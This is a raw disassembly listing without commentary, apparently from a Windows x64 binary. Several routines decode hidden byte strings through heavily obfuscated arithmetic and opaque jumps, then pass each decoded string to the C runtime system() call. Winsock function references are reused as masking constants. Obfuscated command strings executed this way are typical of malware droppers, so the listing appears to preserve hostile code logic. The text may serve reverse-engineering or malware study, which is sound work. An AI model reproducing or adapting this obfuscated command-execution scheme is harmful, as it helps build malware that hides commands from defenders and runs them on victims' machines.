add r11b, dl
sub bl, 4
movzx eax, r10b
and al, bl
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
movzx eax, cl
mov byte [rbp + rdi - 0x18], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x10]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi - 0x18], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi - 0x18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140148012
sub bl, 0x74
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1401488b8
lea edx, [rbx - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7c
add r11b, dl
add bl, 0x14
movzx eax, r10b
and al, bl
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
add cl, r11b
mov byte [rbp + rdi - 0x18], cl
jmp 0x1401488b8
sub bl, 0x14
movzx eax, r10b
and al, bl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x74
add r11b, bl
jmp 0x140148853
lea edx, [r14 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r14b, 0x2c
movzx eax, r10b
and al, r14b
add al, al
sub r10b, al
sub r10b, 0x34
add r10b, r14b
mov byte [rbp + rdi - 0x18], r10b
inc r9
dec rdi
inc rdi
jmp 0x140148012
add r14b, 0x4c
movzx eax, r10b
and al, r14b
add al, al
sub r10b, al
lea r11d, [r14 + r10]
sub r11b, 0x14
dec rdi
inc rdi
jmp 0x140148012
add r14b, 0x7c
movzx eax, r10b
and al, r14b
add al, al
sub r10b, al
lea r11d, [r14 + r10]
sub r11b, 0x64
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140148012
lea rax, [rdi + r12]
and sil, al
add sil, sil
sub r10b, sil
lea r11d, [rax + r10]
sub r11b, 4
movzx eax, byte [rbp + rdi - 0x18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140148012
sub bl, 0x3c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x5c
jmp 0x140148010
sub bl, 0x24
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 4
jmp 0x140148000
lea rcx, [rbp + 0x16567d8]
jmp 0x140148948
lea rcx, [rbp + 0x877bcc]
jmp 0x140148948
lea rcx, [rbp - 0x18]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x32], 0xd3043b09
mov dword [rbp - 0x2e], 0xfcd00ec1
mov word [rbp - 0x2a], 0x8d32
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
movabs rsi, 0x66e6088e95414319
movabs r15, 0xd04a3be614c8d5af
movabs r14, 0x34b219abbfc3c94b
movzx ebx, byte [rbp + 0x67]
nop dword [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor edi, edi
cmp rdi, 0x1a
jae 0x1401494ad
movzx r11d, byte [rbp + rdi - 0x32]
mov edx, r11d
cmp r8, rdi
ja 0x1401494a4
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1401489e0
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x51
jmp 0x140148a0d
je 0x14014943f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401493c3
lea rax, [r9 + 4]
cmp r8, rax
je 0x140149370
lea rax, [r9 + 2]
cmp r8, rax
je 0x14014932d
movzx r10d, dil
cmp r9, rdi
ja 0x14014949b
lea rax, [r9 + 9]
cmp r8, rax
jae 0x140148a3a
lea ecx, [r10 + 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5b
jmp 0x140148a80
lea rax, [r9 + 1]
cmp r8, rax
je 0x140149316
inc rax
cmp r8, rax
je 0x1401492f4
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401492d8
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401492be
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401492a2
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140148fcc
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140148fb2
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140148f89
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140148f63
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140148f49
lea rax, [r9 + 5]
cmp r8, rax
je 0x140148f29
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140148f0d
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140148ef3
lea rax, [r9 + 6]
cmp r8, rax
je 0x140148ed3
lea rax, [r9 + 1]
cmp r8, rax
je 0x140148ea9
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140148a90
lea r8, [r9 + 0x42]
lea r9, [r8 + 8]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14014947f
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140149463
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140148c78
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140148c5e
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140148c44
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140148e5e
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140148e19
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140148ddc
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140148db9
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140148a90
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140148d8b
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140148d6d
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140148d4f
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140148d33
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140148d17
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140148cf9
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140148cd7
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140148cb2
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140148c94
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140148a90
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x80]
jmp 0x140148a90
lea ecx, [r10 - 0x6d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 5
jmp 0x140148a80
lea ecx, [r10 + 0x61]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x59
jmp 0x140148a11
add r10b, 0x2f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x49
jmp 0x1401489b5
lea edx, [r10 + 0x68]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x140149346
add r10b, 0x36
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x7a
inc r9
dec rdi
inc rdi
jmp 0x1401489a2
add r10b, 4
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x1c
dec rdi
inc rdi
jmp 0x1401489a2
lea edx, [r10 - 0x2e]
movzx eax, r11b
and al, dl
mov ecx, 0x21
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x140149389
sub r10b, 0x60
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x60
jmp 0x1401493a8
add r10b, 0x6e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 2
jmp 0x1401493ab
lea edx, [r10 + 0x3c]
movzx eax, r11b
and al, dl
mov ecx, 0x2e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1401493d8
add r10b, 0xa
movzx eax, r11b
and al, r10b
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x46
add bl, r10b
jmp 0x140149401
sub r10b, 0x28
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
movzx eax, byte [rbp + rdi - 0x32]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401489a2
add r10b, 0x5b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x7d
mov byte [rbp + rdi - 0x32], bl
inc rdi
jmp 0x1401489a2
lea edx, [r10 + 0x29]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x1f
add bl, dl
cmp r9, 4
jb 0x140148dd0
lea edx, [r10 - 0xa]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x74]
jmp 0x140149346
lea edx, [r10 - 9]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
add bl, 0x3f
add bl, dl
cmp r8, 4
jae 0x140149264
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140149195
lea edx, [r10 + 2]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0xe
jmp 0x140148df1
lea edx, [r10 - 0x3b]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x63
add bl, dl
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x140149283
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1401490bd
lea edx, [r10 - 0xb]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
add bl, 0x4d
jmp 0x140148e2e
add r10b, 0x4e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x22
movzx eax, byte [rbp + rdi - 0x32]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401489a2
add r10b, 0x1c
movzx eax, r10b
and al, r11b
mov ecx, 0x1e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x140149401
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x66
jmp 0x1401493d8
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 8
jmp 0x1401493ab
sub r10b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, 0x2b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1401493a8
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4c
jmp 0x140149389
add r10b, 0x22
movzx eax, r10b
and al, r11b
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1401489a2
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1401489a2
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x32
jmp 0x140149346
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x140148fef
lea ecx, [r10 + 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x51
jmp 0x140148e75
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140149026
add r10b, 0x1a
movzx eax, r10b
and al, r11b
mov ecx, 0x25
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi - 0x32]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401489a2
inc rax
cmp r8, rax
jne 0x14014904a
add r10b, 0x4c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x14
jmp 0x140149401
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14014906d
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x72
jmp 0x1401493d8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140149092
sub r10b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x2e
jmp 0x1401493a8
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140148e75
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r11b
mov ecx, 0x2d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x140149346
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401490e2
lea edx, [r10 + 0x27]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x11
add bl, dl
jmp 0x140149346
inc rax
cmp r8, rax
jne 0x14014910f
add r10b, 0x59
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x6f
inc r9
dec rdi
inc rdi
jmp 0x1401489a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14014913a
sub r10b, 0x75
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x33
dec rdi
inc rdi
jmp 0x1401489a2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14014915f
sub r10b, 0x11
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x77
jmp 0x1401493a8
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140148e30
sub r10b, 0x49
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
dec bl
movzx eax, byte [rbp + rdi - 0x32]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401489a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401491c8
add r10b, 0x34
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x6c
movzx eax, byte [rbp + rdi - 0x32]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401489a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401491ed
lea edx, [r10 - 0x68]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x28
add bl, dl
jmp 0x1401493d8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140149216
sub r10b, 4
movzx eax, r11b
and al, r10b
mov ecx, recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1401493a8
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14014923b
lea edx, [r10 + 0x2e]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x140149389
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140148df3
lea edx, [r10 - 0x3c]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x5c
add bl, dl
jmp 0x140149346
lea edx, [r10 + 0x28]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x18
add bl, r11b
add bl, dl
jmp 0x140149389
lea edx, [r10 + 0x5a]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, r11b
sub bl, 0x76
add bl, dl
jmp 0x1401493d8
sub r10b, 0x63
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x4b
jmp 0x140149401
lea ecx, [r10 + 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x13
jmp 0x1401493d8
add r10b, 0x39
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x71
jmp 0x1401493ab
sub r10b, 0x5d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x75
dec rdi
inc rdi
jmp 0x1401489a2
lea ecx, [r10 + 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x47
jmp 0x140149346
movzx r10d, dil
lea ecx, [r10 - 0x25]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 3
add r10b, 0xf
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x69
add r11b, r10b
mov byte [rbp + rdi - 0x32], r11b
inc r9
dec rdi
inc rdi
jmp 0x1401489a2
movzx r10d, dil
lea ecx, [r10 + 0x45]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x1d
add r10b, 0x41
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x39
add r11b, r10b
add r11b, bl
mov byte [rbp + rdi - 0x32], r11b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1401489a2
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r11 + rax]
add bl, 0x37
movzx r10d, dil
add r10b, 0x73
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x25
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi - 0x32], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x74]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi - 0x32], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi - 0x32]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401489a2
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r11 + rax]
sub bl, 0xd
movzx eax, byte [rbp + rdi - 0x32]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401489a2
sub r10b, 3
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x15
jmp 0x1401489a0
sub r10b, 0x35
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
add bl, 0x73
jmp 0x140148990
lea rcx, [rbp + 0x159149a]
jmp 0x1401494b1
lea rcx, [rbp + 0xda57b3]
jmp 0x1401494b1
lea rcx, [rbp - 0x32]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x61], 0x66756e10
mov dword [rbp - 0x5d], 0x626e7676
mov dword [rbp - 0x59], 0x192a6564
mov dword [rbp - 0x55], 0x7b6b7e69
mov dword [rbp - 0x51], 0x6a7a013d
mov dword [rbp - 0x4d], 0x76757c67
mov dword [rbp - 0x49], 0x68731d74
mov dword [rbp - 0x45], 0xdf343d77
xor eax, eax
mov qword [rbp - 0x41], rax
mov dword [rbp - 0x39], eax
mov word [rbp - 0x35], ax
mov byte [rbp - 0x33], al
movabs rsi, 0x4824dfe2ecd82e20
movabs r12, 0xf9021f3479e942e0
movabs r15, 0x68b85f6ea038e6a0
movabs r14, 0xd86e9fa8c6888a60
movzx r8d, byte [rbp + 0x67]
nop dword [rax]
mov rax, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor ebx, ebx
cmp rbx, 0x2f
jae 0x140149fdc
movzx r11d, byte [rbp + rbx - 0x61]
mov edi, r11d
cmp rax, rbx
ja 0x140149fd3
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x140149581
lea rdx, [rbx + rsi]
mov rcx, rdi
and rcx, rdx
imul r8, rcx, 0xfffffffffffffffe
add r8, rdi
add r8, rdx
add r8b, 0x20
jmp 0x1401495c7
je 0x140149f60
inc rcx
cmp rax, rcx
je 0x140149f0e
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140149ec9
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x140149e93
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x140149e73
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x140149e4b
movzx r10d, bl
nop dword [rax + rax]
cmp r9, rbx
ja 0x140149fca
lea rcx, [r9 + 0x20]
cmp rax, rcx
jae 0x1401495fa
lea edx, [r10 - 0x60]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x60
jmp 0x140149640
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x140149e0b
inc rcx
cmp rax, rcx
je 0x140149c2c
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140149dcf
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x140149db2
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x140149c8a
nop word [rax + rax]
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x140149b78
nop dword [rax]
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140149b5d
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x140149b3f
lea rdx, [r9 + 0x20]
cmp rax, rdx
je 0x140149b18
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x140149afa
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x140149add
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x140149ac8
lea rcx, [r9 + 0xa]
cmp rax, rcx
je 0x140149aa9
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x140149a8c
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x140149a61
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x140149650
mov rax, rdx
lea r9, [rdx + 0x41]
lea rcx, [r9 + 0x10]
cmp rdx, rcx
jb 0x140149fa9
lea rcx, [r9 + 0x3e8]
cmp rdx, rcx
jb 0x140149f8c
lea rcx, [r9 + 0x200]
cmp rdx, rcx
jb 0x140149841
lea rcx, [r9 + 0x2a]
cmp rdx, rcx
jb 0x140149822
lea rcx, [r9 + 0x5a]
cmp rdx, rcx
jb 0x140149803
lea rcx, [r9 + 8]
cmp rdx, rcx
jb 0x140149a18
lea rcx, [r9 + 0x64]
cmp rdx, rcx
jb 0x1401499d9
lea rcx, [r9 + 0x42]
cmp rdx, rcx
jb 0x14014999b
lea rcx, [r9 + 0x7a]
cmp rdx, rcx
jb 0x140149972
lea rcx, [r9 + 0x61]
cmp rdx, rcx
jb 0x140149650
lea rax, [r9 + 9]
lea r9, [rax + 4]
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x14014994f
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x14014992e
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x140149910
lea rcx, [r9 + 6]
cmp rax, rcx
ja 0x1401498f3
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x1401498de
lea rcx, [r9 + 0x40]
cmp rax, rcx
ja 0x1401498bf
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x14014989c
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x140149876
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x14014985e
lea rcx, [r9 + 2]
cmp rax, rcx
ja 0x140149650
lea rax, [r9 + 0x42]
lea r9, [rax + 0x10]
jmp 0x140149650
lea r8d, [r10 + 0x60]
movzx ecx, r8b
and cl, r11b
mov edx, gethostbyaddr
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140149640
lea r8d, [r10 + 0x20]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1401495d0
sub r10b, 0x20
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x20
jmp 0x140149555
movzx edx, r10b
and dl, r11b
add dl, dl
movzx r8d, r10b
sub r8b, dl
add r8b, r11b
jmp 0x140149e21
sub r10b, 0x40
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x140149542
add r10b, 0x80
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x80
dec rbx
inc rbx
jmp 0x140149542
lea r8d, [r10 + 0x40]
movzx ecx, r8b
and cl, r11b
mov edx, 0x20
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140149de5
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
jmp 0x140149ead
sub r10b, 0x40
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x40
jmp 0x140149eb0
lea edx, [r10 + 0x80]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x80
jmp 0x140149ee2
add r10b, 0x40
movzx ecx, r10b
and cl, r11b
mov edx, 0x20
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x140149f23
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
movzx ecx, byte [rbp + rbx - 0x61]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140149542
add r10b, 0x60
movzx ecx, r10b
and cl, r11b
mov edx, gethostbyaddr
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
mov byte [rbp + rbx - 0x61], r8b
inc rbx
jmp 0x140149542
lea r8d, [r10 + 0x20]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
cmp r9, 0x64
jb 0x14014998e
lea edx, [r10 - 0x40]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
add dl, r11b
lea r8d, [rdx*2 - 0x80]
jmp 0x140149e21
lea edx, [r10 - 0x20]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x20
cmp rax, 0xa
jae 0x140149d7e
lea rcx, [r9 + 0x61]
cmp rax, rcx
jbe 0x140149cb5
lea r8d, [r10 + 0x40]
movzx ecx, r8b
and cl, r11b
mov edx, 0x20
jmp 0x1401499ab
lea edx, [r10 - 0x60]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x60
lea rcx, [r9 + rax]
cmp rcx, 3
je 0x140149d96
lea rcx, [r9 + 0x64]
cmp rax, rcx
jbe 0x140149c16
lea edx, [r10 - 0x60]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x60
jmp 0x1401499ef
sub r10b, 0x40
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x40
movzx ecx, byte [rbp + rbx - 0x61]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140149542
add r10b, 0x80
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x80
jmp 0x140149f23
lea r8d, [r10 + 0x40]
movzx ecx, r8b
and cl, r11b
mov edx, 0x20
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140149ee2
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
jmp 0x140149eb0
sub r10b, 0x40
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x40
jmp 0x140149ead
lea edx, [r10 + 0x80]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x80
jmp 0x140149de5
add r10b, 0x40
movzx ecx, r10b
and cl, r11b
mov edx, 0x20
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x140149542
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
inc r9
dec rbx
inc rbx
jmp 0x140149542
lea edx, [r10 - 0x40]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x40
jmp 0x140149e21
lea rdx, [r9 + 5]
cmp rax, rdx
jae 0x140149ba0
